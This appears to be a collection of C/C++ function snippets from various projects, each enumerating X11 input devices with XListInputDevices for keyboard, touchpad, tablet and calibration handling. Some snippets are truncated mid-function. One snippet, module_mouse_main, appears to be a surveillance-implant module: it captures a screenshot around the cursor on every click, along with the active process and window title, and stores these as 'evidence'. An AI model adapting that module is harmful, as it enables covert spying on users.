int XInputEventNotifier::getNewDeviceEventType(xcb_generic_event_t* event) { int newDeviceType = DEVICE_NONE; if( xinputEventType != -1 && event->response_type == xinputEventType ) { xcb_input_device_presence_notify_event_t *xdpne = reinterpret_cast<xcb_input_device_presence_notify_event_t *>(event); if( xdpne->devchange == DeviceEnabled ) { int ndevices; XDeviceInfo *devices = XListInputDevices(display, &ndevices); if( devices != NULL ) { qCDebug(KCM_KEYBOARD) << "New device id:" << xdpne->device_id; for(int i=0; i<ndevices; i++) { qCDebug(KCM_KEYBOARD) << "id:" << devices[i].id << "name:" << devices[i].name << "used as:" << devices[i].use; if( devices[i].id == xdpne->device_id ) { if( devices[i].use == IsXKeyboard || devices[i].use == IsXExtensionKeyboard ) { if( isRealKeyboard(devices[i].name) ) { newDeviceType = DEVICE_KEYBOARD; qCDebug(KCM_KEYBOARD) << "new keyboard device, id:" << devices[i].id << "name:" << devices[i].name << "used as:" << devices[i].use; break; } } if( devices[i].use == IsXPointer || devices[i].use == IsXExtensionPointer ) { newDeviceType = DEVICE_POINTER; qCDebug(KCM_KEYBOARD) << "new pointer device, id:" << devices[i].id << "name:" << devices[i].name << "used as:" << devices[i].use; break; } } } XFreeDeviceList(devices); } } } return newDeviceType; }
static XDevice * dp_get_device(Display * dpy) { XDevice *dev = NULL; XDeviceInfo *info = NULL; int ndevices = 0; Atom touchpad_type = 0; Atom synaptics_property = 0; Atom *properties = NULL; int nprops = 0; int error = 0; touchpad_type = XInternAtom(dpy, XI_TOUCHPAD, True); synaptics_property = XInternAtom(dpy, SYNAPTICS_PROP_EDGES, True); info = XListInputDevices(dpy, &ndevices); while (ndevices--) { if (info[ndevices].type == touchpad_type) { dev = XOpenDevice(dpy, info[ndevices].id); if (!dev) { fprintf(stderr, "Failed to open device '%s'.\n", info[ndevices].name); error = 1; goto unwind; } properties = XListDeviceProperties(dpy, dev, &nprops); if (!properties || !nprops) { fprintf(stderr, "No properties on device '%s'.\n", info[ndevices].name); error = 1; goto unwind; } while (nprops--) { if (properties[nprops] == synaptics_property) break; } if (!nprops) { fprintf(stderr, "No synaptics properties on device '%s'.\n", info[ndevices].name); error = 1; goto unwind; } break; /* Yay, device is suitable */ } } unwind: XFree(properties); XFreeDeviceList(info); if (!dev) fprintf(stderr, "Unable to find a synaptics device.\n"); else if (error && dev) { XCloseDevice(dpy, dev); dev = NULL; } return dev; }
XDeviceInfo* find_device_info(Display *display, const char *name, bool only_extended) { XDeviceInfo *devices; XDeviceInfo *found = NULL; int loop; int num_devices; int len = strlen(name); bool is_id = true; XID id = (XID)-1; for(loop = 0; loop < len; loop++) { if (!isdigit(name[loop])) { is_id = false; break; } } if (is_id) { id = atoi(name); } devices = XListInputDevices(display, &num_devices); for(loop = 0; loop < num_devices; loop++) { osd_printf_verbose("Evaluating device with name: %s\n", devices[loop].name); // if only extended devices and our device isn't extended, skip if (only_extended && devices[loop].use < IsXExtensionDevice) continue; // Adjust name to remove spaces for accurate comparison std::string name_no_space = remove_spaces(devices[loop].name); if ((!is_id && strcmp(name_no_space.c_str(), name) == 0) || (is_id && devices[loop].id == id)) { if (found) { osd_printf_verbose( "Warning: There are multiple devices named \"%s\".\n" "To ensure the correct one is selected, please use " "the device ID instead.\n\n", name); } else { found = &devices[loop]; } } } return found; }
static void printdmxinfo(Display *display, int id) { int event_base; int error_base; int major_version, minor_version, patch_version; DMXInputAttributes iinf; Display *backend; char *backendname = NULL; if (!DMXQueryExtension(display, &event_base, &error_base)) return; if (!DMXQueryVersion(display, &major_version, &minor_version, &patch_version)) return; if (major_version == 1 && minor_version == 0) return; /* too old */ if (!DMXGetInputAttributes(display, id, &iinf)) return; printf(" DMX Information: "); if (iinf.detached) printf("detached "); else printf("active "); switch (iinf.inputType) { case DMXLocalInputType: printf("local, %s", core(&iinf)); break; case DMXConsoleInputType: printf("console %s, %s", iinf.name, core(&iinf)); break; case DMXBackendInputType: if (iinf.physicalId >= 0) { if ((backend = XOpenDisplay(iinf.name))) { XExtensionVersion *ext = XGetExtensionVersion(backend, INAME); if (ext && ext != (XExtensionVersion *)NoSuchExtension) { int count, i; XDeviceInfo *devInfo = XListInputDevices(backend, &count); if (devInfo) { for (i = 0; i < count; i++) { if ((unsigned)iinf.physicalId == devInfo[i].id && devInfo[i].name) { backendname = strdup(devInfo[i].name); break; } } XFreeDeviceList(devInfo); } } XCloseDisplay(backend); } } printf("backend o%d/%s",iinf.physicalScreen, iinf.name); if (iinf.physicalId >= 0) printf("/id%d", iinf.physicalId); if (backendname) { printf("=%s", backendname); free(backendname); } printf(" %s", core(&iinf)); break; } printf("\n"); }
static gboolean find_synaptics (void) { gboolean ret = FALSE; #ifdef HAVE_XINPUT int numdevices, i; XDeviceInfo *devicelist; Atom realtype, prop; int realformat; unsigned long nitems, bytes_after; unsigned char *data; XExtensionVersion *version; /* Input device properties require version 1.5 or higher */ version = XGetExtensionVersion (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "XInputExtension"); if (!version->present || (version->major_version * 1000 + version->minor_version) < 1005) { XFree (version); return False; } prop = XInternAtom (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "Synaptics Off", True); if (!prop) return False; devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), &numdevices); for (i = 0; i < numdevices; i++) { if (devicelist[i].use != IsXExtensionPointer) continue; gdk_error_trap_push(); XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), devicelist[i].id); if (gdk_error_trap_pop ()) continue; gdk_error_trap_push (); if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device, prop, 0, 1, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { XFree (data); ret = TRUE; } gdk_error_trap_pop (); XCloseDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device); if (ret) break; } XFree (version); XFreeDeviceList (devicelist); #endif return ret; }
bool KeyMonitor::registerEvents() { unsigned long screen; Window window; XDeviceInfo *devices; int num_devices; int i, j; XDevice *device; XInputClassInfo *info; XEventClass event_class; m_display = XOpenDisplay(NULL); screen = DefaultScreen(m_display); window = RootWindow(m_display, screen); devices = XListInputDevices(m_display, &num_devices); for(i=0; i<num_devices; i++) { device = XOpenDevice(m_display, devices[i].id); if (device == NULL) { /* That's not critical since "Virtual core..." devices don't allow opening. */ UQ_DEBUG << "Could not open device: " << devices[i].name; continue; } if (devices[i].use == IsXExtensionKeyboard) { for (info=device->classes, j=0; j < device->num_classes; j++, info++) { if (info->input_class == KeyClass) { DeviceKeyPress(device, key_press_type, event_class); m_eventList.append(event_class); DeviceMappingNotify(device, notify_type, event_class); m_eventList.append(event_class); } } } } if (m_eventList.size() == 0) { UQ_WARNING << "No input devices found."; return false; } if (XSelectExtensionEvent(m_display, window, m_eventList.data(), m_eventList.size())) { UQ_WARNING << "Error selecting events."; return false; } return true; }
PyMODINIT_FUNC initxinputextdev(void) { display = XOpenDisplay(NULL); /* polling this seems to be the only way * to do a timed wait on X events */ x11_fd = ConnectionNumber(display); xdevList = (XDeviceInfoPtr) XListInputDevices(display, &devcount); if (!xdevList) fprintf(stderr,"Failed to get input device list\n"); (void) Py_InitModule("xinputextdev", XInputExtDevMethods); }
static void synaptics_check_capabilities (GtkBuilder *dialog) { #ifdef HAVE_XINPUT int numdevices, i; XDeviceInfo *devicelist; Atom realtype, prop; int realformat; unsigned long nitems, bytes_after; unsigned char *data; prop = XInternAtom (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "Synaptics Capabilities", True); if (!prop) return; devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), &numdevices); for (i = 0; i < numdevices; i++) { if (devicelist[i].use != IsXExtensionPointer) continue; gdk_error_trap_push (); XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), devicelist[i].id); if (gdk_error_trap_pop ()) continue; gdk_error_trap_push (); if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device, prop, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for has_left, has_middle, * has_right, has_double, has_triple */ if (!data[0]) { gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (WID ("tap_to_click_toggle")), TRUE); gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE); } if (!data[3]) gtk_widget_set_sensitive (WID ("scroll_twofinger_radio"), FALSE); XFree (data); } gdk_error_trap_pop (); XCloseDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device); } XFreeDeviceList (devicelist); #endif }
/* * When this button is pressed, we need to disable all of the other items on * the page until the user clicks the button again. This starts a timer to * check keyboard state and update the settingsPTTKeyLabel to the key * combination value. Setting isDetectingKey to false will cause the timer * callback to stop running. * The timer callback is ManglerSettings::settingsPTTKeyDetect. */ void ManglerSettings::settingsPTTKeyButton_clicked_cb(void) {/*{{{*/ builder->get_widget("settingsPTTKeyButton", button); if (button->get_label() == "Set") { isDetectingKey = true; button->set_label("Done"); builder->get_widget("settingsCancelButton", button); button->set_sensitive(false); builder->get_widget("settingsApplyButton", button); button->set_sensitive(false); builder->get_widget("settingsOkButton", button); button->set_sensitive(false); Glib::signal_timeout().connect( sigc::mem_fun(*this, &ManglerSettings::settingsPTTKeyDetect), 100 ); } else { isDetectingKey = false; button->set_label("Set"); builder->get_widget("settingsCancelButton", button); button->set_sensitive(true); builder->get_widget("settingsApplyButton", button); button->set_sensitive(true); builder->get_widget("settingsOkButton", button); button->set_sensitive(true); builder->get_widget("settingsPTTKeyValueLabel", label); // if the text is as follows, the user pressed done without any keys // pressed down and reset it to the default text if (label->get_label() == PTT_KEY_SET) { label->set_markup(PTT_KEY_GET); } } }/*}}}*/ void ManglerSettings::settingsEnablePTTMouseCheckButton_toggled_cb(void) {/*{{{*/ builder->get_widget("settingsEnablePTTMouseCheckButton", checkbutton); if (checkbutton->get_active()) { // box was checked builder->get_widget("settingsPTTMouseLabel", label); label->set_sensitive(true); builder->get_widget("settingsPTTMouseValueLabel", label); label->set_sensitive(true); builder->get_widget("settingsPTTMouseButton", button); button->set_sensitive(true); builder->get_widget("settingsMouseDeviceLabel", label); label->set_sensitive(true); builder->get_widget("settingsMouseDeviceComboBox", combobox); combobox->set_sensitive(true); } else { // box was unchecked builder->get_widget("settingsPTTMouseLabel", label); label->set_sensitive(false); builder->get_widget("settingsPTTMouseValueLabel", label); label->set_sensitive(false); builder->get_widget("settingsPTTMouseButton", button); button->set_sensitive(false); builder->get_widget("settingsMouseDeviceLabel", label); label->set_sensitive(false); builder->get_widget("settingsMouseDeviceComboBox", combobox); combobox->set_sensitive(false); } }/*}}}*/ void ManglerSettings::settingsPTTMouseButton_clicked_cb(void) {/*{{{*/ isDetectingMouse = true; builder->get_widget("settingsPTTMouseValueLabel", label); label->set_markup(PTT_MOUSE_SET); builder->get_widget("settingsPTTMouseButton", button); button->set_sensitive(false); builder->get_widget("settingsCancelButton", button); button->set_sensitive(false); builder->get_widget("settingsApplyButton", button); button->set_sensitive(false); builder->get_widget("settingsOkButton", button); button->set_sensitive(false); builder->get_widget("settingsMouseDeviceComboBox", combobox); combobox->set_sensitive(false); Glib::signal_timeout().connect( sigc::mem_fun(*this, &ManglerSettings::settingsPTTMouseDetect), 100 ); }/*}}}*/ std::map<uint32_t, Glib::ustring> ManglerSettings::getInputDeviceList(void) {/*{{{*/ GdkWindow *rootwin = gdk_get_default_root_window(); XDeviceInfo *xdev; int ndevices_return; std::map<uint32_t, Glib::ustring> devicelist; xdev = XListInputDevices(GDK_WINDOW_XDISPLAY(rootwin), &ndevices_return); for (int ctr = 0; ctr < ndevices_return; ctr++) { if (xdev[ctr].use == IsXExtensionPointer) { devicelist[xdev[ctr].id] = xdev[ctr].name; } } XFreeDeviceList(xdev); return(devicelist); }/*}}}*/
static void synaptics_check_capabilities (GtkBuilder *dialog) { int numdevices, i; XDeviceInfo *devicelist; Atom realtype, prop; int realformat; unsigned long nitems, bytes_after; unsigned char *data; prop = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", True); if (!prop) return; devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices); for (i = 0; i < numdevices; i++) { if (devicelist[i].use != IsXExtensionPointer) continue; gdk_error_trap_push (); XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), devicelist[i].id); if (gdk_error_trap_pop ()) continue; gdk_error_trap_push (); if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple. * Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */ if (!data[0]) { gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE); } /* Disable two finger scrolling unless the hardware supports * double touch */ if (!(data[3])) gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), FALSE); XFree (data); } gdk_error_trap_pop_ignored (); XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (devicelist); }
static gboolean device_type_is_present (InfoIdentifyFunc info_func, DeviceIdentifyFunc device_func) { XDeviceInfo *device_info; gint n_devices; guint i; gboolean retval; if (supports_xinput_devices () == FALSE) return TRUE; retval = FALSE; device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices); if (device_info == NULL) return FALSE; for (i = 0; i < n_devices; i++) { XDevice *device; /* Check with the device info first */ retval = (info_func) (&device_info[i]); if (retval == FALSE) continue; /* If we only have an info func, we're done checking */ if (device_func == NULL) break; gdk_error_trap_push (); device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id); if (gdk_error_trap_pop () || (device == NULL)) continue; retval = (device_func) (device); if (retval) { XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); break; } XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (device_info); return retval; }
XDeviceInfo* find_device_info(Display *display, char *name, Bool only_extended) { XDeviceInfo *devices; XDeviceInfo *found = NULL; int loop; int num_devices; int len = strlen(name); Bool is_id = True; XID id = (XID)-1; for(loop=0; loop<len; loop++) { if (!isdigit(name[loop])) { is_id = False; break; } } if (is_id) { id = atoi(name); } devices = XListInputDevices(display, &num_devices); for(loop=0; loop<num_devices; loop++) { if ((!only_extended || (devices[loop].use >= IsXExtensionDevice)) && ((!is_id && strcmp(devices[loop].name, name) == 0) || (is_id && devices[loop].id == id))) { if (found) { fprintf(stderr, "Warning: There are multiple devices named '%s'.\n" "To ensure the correct one is selected, please use " "the device ID instead.\n\n", name); return NULL; } else { found = &devices[loop]; } } } return found; }
XDeviceInfo* XInputDriver::find_device_info(Display *display, const char* name, Bool only_extended) { // FIXME: Not really needed could simply pass XDeviceInfo to the // constructor, might however make a nicer interface XDeviceInfo* x_devices; int num_devices; int len = strlen(name); Bool is_id = True; XID id = 0; for(int i = 0; i < len; ++i) { if (!isdigit(name[i])) { is_id = False; break; } } if (is_id) { id = atoi(name); } x_devices = XListInputDevices(display, &num_devices); for(int i = 0; i < num_devices; ++i) { if ((!only_extended || (x_devices[i].use == IsXExtensionDevice)) && ((!is_id && strcmp(x_devices[i].name, name) == 0) || (is_id && x_devices[i].id == id))) { return &x_devices[i]; } } return NULL; }
void XInputDriver::setup_xinput() { if (!xinput_is_present()) { std::cout << "debug: XInput extentsion not found" << std::endl; } else { int num_devices; XDeviceInfo* info = XListInputDevices(sys.info.x11.display, &num_devices); for(int i = 0; i < num_devices; ++i) { pout(PINGUS_DEBUG_INPUT) << "XInputDriver: Device name='" << info[i].name << "'" << std::endl; // FIXME: Xinput isn't necesarrily a mouse, could be anything //if (info[i].use == IsXExtensionDevice) // { devices.push_back(new XInputDevice(this, &info[i])); // } } XFreeDeviceList(info); } }
gboolean touchpad_is_present (void) { XDeviceInfo *device_info; gint n_devices; guint i; gboolean retval; if (supports_xinput_devices () == FALSE) return TRUE; retval = FALSE; device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices); if (device_info == NULL) return FALSE; for (i = 0; i < n_devices; i++) { XDevice *device; gdk_error_trap_push (); device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id); if (gdk_error_trap_pop () || (device == NULL)) continue; retval = device_is_touchpad (device); if (retval) { XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); break; } XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (device_info); return retval; }
static void synaptics_check_capabilities_x11 (CcMousePropertiesPrivate *d) { int numdevices, i; XDeviceInfo *devicelist; Atom realtype, prop_capabilities, prop_scroll_methods, prop_tapping_enabled; int realformat; unsigned long nitems, bytes_after; unsigned char *data; gboolean tap_to_click, two_finger_scroll; prop_capabilities = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", False); prop_scroll_methods = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Scroll Methods Available", False); prop_tapping_enabled = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Tapping Enabled", False); if (!prop_capabilities || !prop_scroll_methods || !prop_tapping_enabled) return; tap_to_click = FALSE; two_finger_scroll = FALSE; devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices); for (i = 0; i < numdevices; i++) { if (devicelist[i].use != IsXExtensionPointer) continue; gdk_error_trap_push (); XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), devicelist[i].id); if (gdk_error_trap_pop ()) continue; gdk_error_trap_push (); /* xorg-x11-drv-synaptics */ if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_capabilities, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple. * Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */ /* Set tap_to_click_toggle sensitive only if the device has hardware buttons */ if (data[0]) tap_to_click = TRUE; /* Set two_finger_scroll_toggle sensitive if the hardware supports double touch */ if (data[3]) two_finger_scroll = TRUE; XFree (data); } /* xorg-x11-drv-libinput */ if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_scroll_methods, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for two-finger, edge, on-button scroll available. */ if (data[0] && data[1]) two_finger_scroll = TRUE; XFree (data); } if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_tapping_enabled, 0, 1, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is boolean for tapping enabled. */ tap_to_click = TRUE; XFree (data); } gdk_error_trap_pop_ignored (); XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (devicelist); gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), tap_to_click); gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), two_finger_scroll); }
int main(int argc, char * argv[]) { int loop, num_extensions, num_devices; char **extensions; XDeviceInfo *devices; Display *dpy; Window root_win; unsigned long screen; int list = 0; if (argc != 3) { fprintf(stderr, "usage : %s <device name> (ABSOLUTE|RELATIVE)\n", argv[0]); exit(1); } if (strcmp(argv[1], "-l") == 0) { list = 1; } dpy = XOpenDisplay(NULL); if (!dpy) { printf("unable to connect to X Server try to set the DISPLAY variable\n"); exit(1); } #ifdef DEBUG printf("connected to %s\n", XDisplayString(dpy)); #endif screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); extensions = XListExtensions(dpy, &num_extensions); for (loop = 0; loop < num_extensions && (strcmp(extensions[loop], "XInputExtension") != 0); loop++); XFreeExtensionList(extensions); if (loop != num_extensions) { devices = XListInputDevices(dpy, &num_devices); for(loop=0; loop<num_devices; loop++) { if (devices[loop].name && (StrCaseCmp(devices[loop].name, argv[1]) == 0)) if (devices[loop].use == IsXExtensionDevice) { XDevice *device; #ifdef DEBUG fprintf(stderr, "opening device %s\n", devices[loop].name ? devices[loop].name : "<noname>"); #endif device = XOpenDevice(dpy, devices[loop].id); if (device) { XSetDeviceMode(dpy, device, (strcmp("ABSOLUTE", argv[2]) == 0) ? Absolute : Relative); exit(0); } else { fprintf(stderr, "error opening device\n"); exit(1); } } } XFreeDeviceList(devices); } else { fprintf(stderr, "No XInput extension available\n"); exit(1); } if (list) { exit(0); } else { fprintf(stderr, "Extended device %s not found\n", argv[1]); exit(1); } }
static int probeDevices(void) { static Bool been_here = False; static int support; #if !defined(WIN32) XExtensionVersion *version; XDeviceInfoPtr device_info, device; XAnyClassPtr any; XButtonInfoPtr b; XValuatorInfoPtr v; XAxisInfoPtr a; int num_dev, btns, dials; int i, j, k; #endif /* !WIN32 */ if (been_here) { return support; } been_here = True; #if !defined(WIN32) version = XGetExtensionVersion(__glutDisplay, "XInputExtension"); if (version == NULL || ((int) version) == NoSuchExtension) { support = 0; return support; } XFree(version); device_info = XListInputDevices(__glutDisplay, &num_dev); if (device_info) { for (i = 0; i < num_dev; i++) { /* XXX These are SGI names for these devices; unfortunately, no good standard exists for standard types of X input extension devices. */ device = &device_info[i]; any = (XAnyClassPtr) device->inputclassinfo; if (!__glutSpaceball && !strcmp(device->name, "spaceball")) { v = NULL; b = NULL; for (j = 0; j < device->num_classes; j++) { switch (any->class) { case ButtonClass: b = (XButtonInfoPtr) any; btns = b->num_buttons; break; case ValuatorClass: v = (XValuatorInfoPtr) any; /* Sanity check: at least 6 valuators? */ if (v->num_axes < NUM_SPACEBALL_AXIS) goto skip_device; a = (XAxisInfoPtr) ((char *) v + sizeof(XValuatorInfo)); for (k = 0; k < NUM_SPACEBALL_AXIS; k++, a++) { __glutSpaceballRange[k].min = a->min_value; __glutSpaceballRange[k].range = a->max_value - a->min_value; } break; } any = (XAnyClassPtr) ((char *) any + any->length); } if (v) { __glutSpaceball = XOpenDevice(__glutDisplay, device->id); if (__glutSpaceball) { __glutNumSpaceballButtons = btns; addDeviceEventParser(); } } } else if (!__glutDials && !strcmp(device->name, "dial+buttons")) { v = NULL; b = NULL; for (j = 0; j < device->num_classes; j++) { switch (any->class) { case ButtonClass: b = (XButtonInfoPtr) any; btns = b->num_buttons; break; case ValuatorClass: v = (XValuatorInfoPtr) any; /* Sanity check: at least 8 valuators? */ if (v->num_axes < NUM_DIALS_AXIS) goto skip_device; dials = v->num_axes; __glutDialsResolution = (int *) malloc(sizeof(int) * dials); a = (XAxisInfoPtr) ((char *) v + sizeof(XValuatorInfo)); for (k = 0; k < dials; k++, a++) { __glutDialsResolution[k] = a->resolution; } break; } any = (XAnyClassPtr) ((char *) any + any->length); } if (v) { __glutDials = XOpenDevice(__glutDisplay, device->id); if (__glutDials) { __glutNumButtonBoxButtons = btns; __glutNumDials = dials; addDeviceEventParser(); } } } else if (!__glutTablet && !strcmp(device->name, "tablet")) {
XDeviceInfo* find_device_info(char *name) { XDeviceInfo *devices; XDeviceInfo *found = NULL; int i, max_id; int num_devices, num_found; Bool is_id = True; XID id = (XID)-1; const char *errstr; devices = XListInputDevices(display, &num_devices); max_id = 0; for (i = 0; i < num_devices; i++) if (devices[i].id > max_id) max_id = devices[i].id; if (name != NULL) { for(i = 0; i < strlen(name); i++) { if (!isdigit(name[i])) { is_id = False; break; } } if (is_id) { id = strtonum(name, 0, max_id, &errstr); if (errstr != NULL) { fprintf(stderr, "Invalid device id %s: %s\n", name, errstr); exit(1); } } } num_found = 0; for(i = 0; i < num_devices; i++) { if (devices[i].use != IsXExtensionPointer) continue; if (name == NULL) { if (check_device(&devices[i])) { found = &devices[i]; num_found++; } continue; } if ((!is_id && strcmp(devices[i].name, name) == 0) || (is_id && devices[i].id == id)) { found = &devices[i]; num_found++; } } if (num_found > 1) { fprintf(stderr, "Error: found multiple matching devices.\n" "To ensure the correct one is selected, please use " "the device ID instead.\n"); return NULL; } return found; }
void *module_mouse_main(void *args) { Display *display = NULL; int i, devnum = 0, mousenum = 0, buttonrelease = 0; XDeviceInfo *devinfo = NULL; XDevice **device = NULL; XEventClass evlist; XEvent event; Window root, child; int rootX, rootY, childX, childY; unsigned int mask; XWindowAttributes wininfo; int maxfd = -1, xfd = -1; int width = 40, height = 40; char *process = NULL, *title = NULL; int imgx, imgy, imgw, imgh; fd_set rfds; struct additional a; BIO *bio_additional = NULL; char *additionalptr, *dataptr = NULL; long additionallen, datalen = 0; debugme("Module MOUSE started\n"); if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL; if(MODULE_MOUSE_P) { width = MODULE_MOUSE_P->width; height = MODULE_MOUSE_P->height; } do { if((display = XOpenDisplay(NULL)) == NULL) break; if((xfd = ConnectionNumber(display)) < 0) break; if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break; if(!(device = calloc(devnum, sizeof(XDevice *)))) break; if(!(bio_additional = BIO_new(BIO_s_mem()))) break; for(i = 0; i < devnum; i++) { if(devinfo[i].use == IsXExtensionPointer) { if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue; DeviceButtonRelease(device[i], buttonrelease, evlist); XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1); mousenum++; } } if(!mousenum) break; maxfd = MAX(xfd, MODULE_MOUSE.event) + 1; while(MODULE_MOUSE.status != MODULE_STOPPING) { do { if(!XPending(display)) { FD_ZERO(&rfds); FD_SET(xfd, &rfds); FD_SET(MODULE_MOUSE.event, &rfds); if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break; } if(MODULE_MOUSE.status == MODULE_STOPPING) break; if(XNextEvent(display, &event)) break; if(event.type != buttonrelease) break; if(((XDeviceButtonEvent *)&event)->button > 3) break; XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask); XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo); getwindowproperties(display, getactivewindow(display), &process, &title); debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title); imgx = MAX(rootX - (width / 2), 0); imgy = MAX(rootY - (height / 2), 0); imgw = MIN(rootX + (width / 2), wininfo.width) - imgx; imgh = MIN(rootY + (height / 2), wininfo.height) - imgy; if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break; a.version = MOUSEMODULE_VERSION; a.processlen = strlen16(process) + 2; a.titlelen = strlen16(title) + 2; a.x = rootX; a.y = rootY; a.width = imgw; a.height = imgh; (void)BIO_reset(bio_additional); BIO_write(bio_additional, &a, sizeof(a)); BIO_puts16n(bio_additional, process); BIO_puts16n(bio_additional, title); if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break; evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen); } while(0); if(dataptr) { free(dataptr); dataptr = NULL; } if(process) { free(process); process = NULL; } if(title) { free(title); title = NULL; } } } while(0); if(bio_additional) BIO_free(bio_additional); if(device) { for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]); free(device); } if(devinfo) XFreeDeviceList(devinfo); if(display) XCloseDisplay(display); debugme("Module MOUSE stopped\n"); return NULL; }
/** * find a calibratable touchscreen device (using XInput) * * if pre_device is NULL, the last calibratable device is selected. * retuns number of devices found, * the data of the device is returned in the last 3 function parameters */ int Calibrator::find_device(const char* pre_device, bool list_devices, XID& device_id, const char*& device_name, XYinfo& device_axys) { bool pre_device_is_id = true; bool pre_device_is_sysfs = false; int found = 0; Display* display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "Unable to connect to X server\n"); exit(1); } int xi_opcode, event, error; if (!XQueryExtension(display, "XInputExtension", &xi_opcode, &event, &error)) { fprintf(stderr, "X Input extension not available.\n"); exit(1); } // verbose, get Xi version if (verbose) { XExtensionVersion *version = XGetExtensionVersion(display, INAME); if (version && (version != (XExtensionVersion*) NoSuchExtension)) { printf("DEBUG: %s version is %i.%i\n", INAME, version->major_version, version->minor_version); XFree(version); } } if (pre_device != NULL) { // check whether the pre_device is an ID (only digits) int len = strlen(pre_device); for (int loop=0; loop<len; loop++) { if (!isdigit(pre_device[loop])) { pre_device_is_id = false; break; } } } std::string pre_device_sysfs; if (pre_device != NULL && !pre_device_is_id) { /* avoid overflow below - 10000 devices should be OK */ if ( strlen(pre_device) < strlen("event") + 4 && strncmp(pre_device, "event", strlen("event")) == 0 ) { // check whether the pre_device is an sysfs-path name char filename[40]; // actually 35, but hey... (void) sprintf(filename, "%s/%s/%s", SYSFS_INPUT, pre_device, SYSFS_DEVNAME); std::ifstream ifile(filename); if (ifile.is_open()) { if (!ifile.eof()) { pre_device_is_sysfs = true; std::getline(ifile, pre_device_sysfs); ifile.close(); } } } } if (verbose) printf("DEBUG: Skipping virtual master devices and devices without axis valuators.\n"); int ndevices; XDeviceInfoPtr list, slist; slist=list=(XDeviceInfoPtr) XListInputDevices (display, &ndevices); for (int i=0; i<ndevices; i++, list++) { if (list->use == IsXKeyboard || list->use == IsXPointer) 